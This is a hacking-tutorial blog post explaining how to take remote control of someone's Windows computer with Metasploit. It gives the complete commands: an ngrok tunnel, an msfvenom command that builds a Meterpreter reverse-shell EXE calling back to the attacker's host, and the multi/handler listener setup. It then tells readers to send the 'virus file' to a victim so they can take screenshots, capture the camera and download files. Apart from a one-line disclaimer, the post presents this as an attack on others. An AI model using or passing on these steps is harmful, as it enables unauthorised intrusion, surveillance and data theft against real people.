How to Hack Windows with Metasploit | Hacking | 2022 | N4H

How to Hack Windows with Metasploit | Hacking | 2022 | N4H

how to hack windows with metasploit

In this post, we are telling you how to hack windows with Metasploit and control it using our system. We are going to use Metasploit’s Windows payload to make its virus file which will be in ” exe ” format. So let’s hack windows by Metasploit…

Disclaimer – This blog is for educational purposes only, If you do anything illegal then we are not responsible for it…

What Is Metasploit?

The Metasploit Framework is an open-source powerful tool that is used by CyberCriminals as well as Ethical-Hackers to find systematic vulnerabilities on networks and servers because it can be easily customized and used in most Linux operating systems.

Metasploit came preinstalled in all Linux operating systems like Kali Linux, Parrot OS, etc. But if you don’t have it then you can install it by typing ( sudo apt-get install metasploit-framework )…

How To Make Payload With Metasploit?

So 1st we have to create our ngrok server to use this ( windows exe virus file ) anywhere. For doing that come inside the directory where your ngrok is saved then type this command ( ./ngrok tcp 4242 )…

Note – Read and type all commands very carefully because if you type a single wrong command then the Metasploit will not work…

Now we have to create a virus file in exe format by writing a payload command that will help us to gain access to our victim’s computer. We are using the EXE format because it is used for running Windows applications…

So open another terminal and write this metasploit payload ( msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=(YOUR NGROK LINK) lport=(YOUR NGROK PORT) -o .exe ). See the photo for better understanding…

Remember – You have to copy ngrok link from after double slash ( // ) till ( .io ) to paste it in lhost.

After that, you can see an ( exe file ) is built in your home directory. Now we have to create our listener which will help us to control our victim’s system…

Follow the commands below to create the Listener –

  • msfconsole
  • use expliot/multi/handler
  • set payload windows/x64/meterpreter/reverse_tcp
  • set lhost 0.0.0.0
  • set lport 4242
  • exploit

Now everything is done, just send your virus file to your target and if he/she will open it then we will get remote access to their windows…

So what we can do after gaining access to their System. For example – we can check their OS information, capture screenshots through their front camera, download files, etc…

If you want to learn more about Metasploit so you can check our other blogs on it – https://news4hacker.com/category/metasploit/

Tips – You can type the ( help ) command in Metasploit for viewing all commands after hacking the victim’s windows…

If you have any problem with our blog so you can comment to us we will try to fix it.

– Dhruv Bansal

Dhruv Bansal

1 comment so far

Riya gupta Posted on4:09 am - February 18, 2022

You just made my day by making blogs on hacking android and both main OS…

Leave a Reply